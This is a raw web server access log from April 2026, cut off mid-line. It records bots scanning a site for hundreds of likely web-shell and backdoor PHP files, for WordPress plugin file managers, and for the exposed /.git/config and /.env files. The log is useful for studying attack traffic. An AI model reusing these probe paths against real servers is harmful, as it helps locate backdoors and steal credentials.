43.130.131.18 - - [13/Apr/2026:06:39:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.248.127.178 - - [13/Apr/2026:06:54:29 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.151.248.149 - - [13/Apr/2026:08:19:23 +0300] "GET /albrt.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:19:31 +0300] "GET /ahaoi.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:19:35 +0300] "GET /bogles.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:19:38 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:19:46 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:08 +0300] "GET /unloathness.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:09 +0300] "GET /doo.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:13 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:15 +0300] "GET /h2.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:18 +0300] "GET /greateb.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:22 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:26 +0300] "GET /mjq.php/kma.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:30 +0300] "GET /bjeni.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:33 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:37 +0300] "GET /tymi.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:41 +0300] "GET /rrr.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:45 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:48 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:52 +0300] "GET /wp-wlx.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:55 +0300] "GET /zvz89.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:20:57 +0300] "GET /i6z19N.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:21:00 +0300] "GET /xl9.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:21:03 +0300] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:45 +0300] "GET /zxcs.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:48 +0300] "GET /rea889y.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:51 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:55 +0300] "GET /prosell2.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:59 +0300] "GET /22name.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:29:31 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:33:23 +0300] "GET /wp-tymanage.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:36:03 +0300] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:36:46 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:36:50 +0300] "GET /wpb.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:39:34 +0300] "GET /ca-022.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:41:19 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:41:45 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:41:48 +0300] "GET /zo.php/itil.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:43:20 +0300] "GET /zt2.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:13 +0300] "GET /wp-0fsdhv.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:36 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:25:42 +0300] "GET /itil.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:36 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:40 +0300] "GET /bngv.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:28:01 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:29:56 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:30:27 +0300] "GET /css/shlo.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:33:12 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:37:14 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:40:51 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:40:55 +0300] "GET /Eva.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:00 +0300] "GET /zwq.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:44:05 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:44:45 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 104.248.127.178 - - [13/Apr/2026:07:41:20 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 161.97.119.25 - - [13/Apr/2026:08:12:31 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.151.248.149 - - [13/Apr/2026:08:22:41 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:43 +0300] "GET /Jcrop.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:46 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:14 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:33:42 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:33:50 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:33:52 +0300] "GET /55.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:33:56 +0300] "GET /wp-block.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:33:59 +0300] "GET /tiny2.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:38:25 +0300] "GET /class-bda.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:38:34 +0300] "GET /haz.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:38:54 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:39:39 +0300] "GET /act.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:39:42 +0300] "GET /enacting.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:39:46 +0300] "GET /ta0ol.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:40:22 +0300] "GET /bkxzo.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:41:35 +0300] "GET /55l453.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:09 +0300] "GET /wxpass.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:43:33 +0300] "GET /class-cc.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:45:05 +0300] "GET /cibai.php HTTP/1.1" 301 795 "-" "-" 175.6.217.4 - - [13/Apr/2026:09:26:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.248.149 - - [13/Apr/2026:08:17:41 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:17:45 +0300] "GET /mamzi.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:21:10 +0300] "GET /ccu.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:52 +0300] "GET /themes4.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:55 +0300] "GET /wsc.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:58 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:00 +0300] "GET /zeal.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:04 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:23:06 +0300] "GET /lolz.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:24:50 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:24:53 +0300] "GET /f2.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:24:56 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:24:58 +0300] "GET /shadow-bot.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:25:02 +0300] "GET /ianmg.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:25:48 +0300] "GET /snus.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:30:33 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:39:12 +0300] "GET /sfcl.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:39:18 +0300] "GET /css/database.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:17:52 +0300] "GET /lef.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:17:56 +0300] "GET /new2.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:21:29 +0300] "GET /class-wp-image.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:21:31 +0300] "GET /wp-4sd6kt.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:24:09 +0300] "GET /fs9.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:09 +0300] "GET /torsa.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:12 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:15 +0300] "GET /wp-upload.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:18 +0300] "GET /fcnlp.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:20 +0300] "GET /xxc.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:24 +0300] "GET /wp-su.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:27:55 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:30:46 +0300] "GET /only.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:30:56 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:38:11 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:38:43 +0300] "GET /f222.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:41:40 +0300] "GET /wp-stat.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:43:49 +0300] "GET /wp-lvminl.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:44:34 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:44:52 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:44:56 +0300] "GET /blox.php HTTP/1.1" 301 795 "-" "-" 43.157.170.126 - - [13/Apr/2026:07:29:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.97.119.25 - - [13/Apr/2026:08:11:51 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 161.97.119.25 - - [13/Apr/2026:08:13:27 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.151.248.149 - - [13/Apr/2026:08:18:22 +0300] "GET /rnenu.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:41 +0300] "GET /green.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:44 +0300] "GET /multirole.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:48 +0300] "GET /RIP.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:50 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:53 +0300] "GET /cobaini.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:56 +0300] "GET /mmp.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:19:00 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:19:03 +0300] "GET /xozx.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:10 +0300] "GET /disagrsxr.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:24 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:22:35 +0300] "GET /x7W.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:25:09 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:53 +0300] "GET /admin-filters.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:29:23 +0300] "GET /amwxl.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:30:04 +0300] "GET /rujgeote.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:31:20 +0300] "GET /wp-bugs.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:31:26 +0300] "GET /de.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:36:19 +0300] "GET /amxloxxr.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:36:21 +0300] "GET /.yuf.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:36:29 +0300] "GET /wert.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:37:01 +0300] "GET /wp-ver.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:40:29 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:43:58 +0300] "GET /bx.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:45:20 +0300] "GET /wso-x569.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:45:27 +0300] "GET /wp-ccv.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:45:30 +0300] "GET /classc.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:45:34 +0300] "GET /HLA-dd.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:45:37 +0300] "GET /kaza.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:45:40 +0300] "GET /444.php HTTP/1.1" 301 795 "-" "-" 104.248.127.178 - - [13/Apr/2026:08:52:45 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.151.248.149 - - [13/Apr/2026:08:17:34 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:25:55 +0300] "GET /shlo.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:04 +0300] "GET /mas80.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:26:30 +0300] "GET /ZSLeDE.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:28:22 +0300] "GET /ahutr.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:36:39 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:40:44 +0300] "GET /nti.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:02 +0300] "GET /fallbackapi.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:28 +0300] "GET /congeree.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:31 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:18:35 +0300] "GET /jatuh.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:19:12 +0300] "GET /clque.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:28:08 +0300] "GET /kiwkiw.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:28:12 +0300] "GET /bhm.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:19 +0300] "GET /wp-demomav.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:23 +0300] "GET /wpls.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:33 +0300] "GET /wp-gr.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:36 +0300] "GET /file-gertdxz.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:47 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:42:59 +0300] "GET /ckk.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:43:08 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:44:24 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.151.248.149 - - [13/Apr/2026:08:44:28 +0300] "GET /24name.php HTTP/1.1" 301 795 "-" "-" 212.47.78.120 - - [13/Apr/2026:10:59:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 212.47.78.120 - - [13/Apr/2026:10:59:02 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.85.123.27 - - [13/Apr/2026:10:16:03 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.85.123.27 - - [13/Apr/2026:10:16:03 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.43.2.94 - - [13/Apr/2026:11:27:16 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.157.158.178 - - [13/Apr/2026:12:19:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.43.2.94 - - [13/Apr/2026:11:27:16 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.43.2.94 - - [13/Apr/2026:11:27:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 34.75.248.112 - - [13/Apr/2026:11:06:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 18.237.203.228 - - [13/Apr/2026:13:04:15 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2" 173.252.82.13 - - [13/Apr/2026:13:12:35 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.130.26.3 - - [13/Apr/2026:13:03:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.215.210.138 - - [13/Apr/2026:15:27:52 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 192.144.148.122 - - [13/Apr/2026:15:45:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 156.67.27.119 - - [13/Apr/2026:16:11:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 156.67.27.119 - - [13/Apr/2026:16:11:14 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.123.30.204 - - [13/Apr/2026:17:39:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 107.172.180.205 - - [13/Apr/2026:18:32:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 101.33.66.34 - - [13/Apr/2026:18:29:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.101.151 - - [13/Apr/2026:17:23:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 31.220.80.169 - - [13/Apr/2026:18:09:57 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 52.139.47.45 - - [13/Apr/2026:21:35:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 104.248.127.178 - - [13/Apr/2026:21:12:28 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 103.76.109.74 - - [13/Apr/2026:22:42:27 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.138.68.113 - - [13/Apr/2026:22:41:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 158.158.43.6 - - [14/Apr/2026:00:09:35 +0300] "GET /less.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:37 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:38 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:41 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:43 +0300] "GET /1s7y8wt9dz.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:44 +0300] "GET /bdktk.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:46 +0300] "GET /v5.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:47 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:49 +0300] "GET /ws87.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:50 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - [14/Apr/2026:00:09:51 +0300] "GET /r2.php HTTP/1.1" 301 795 "-" "-" 158.158.43.6 - - 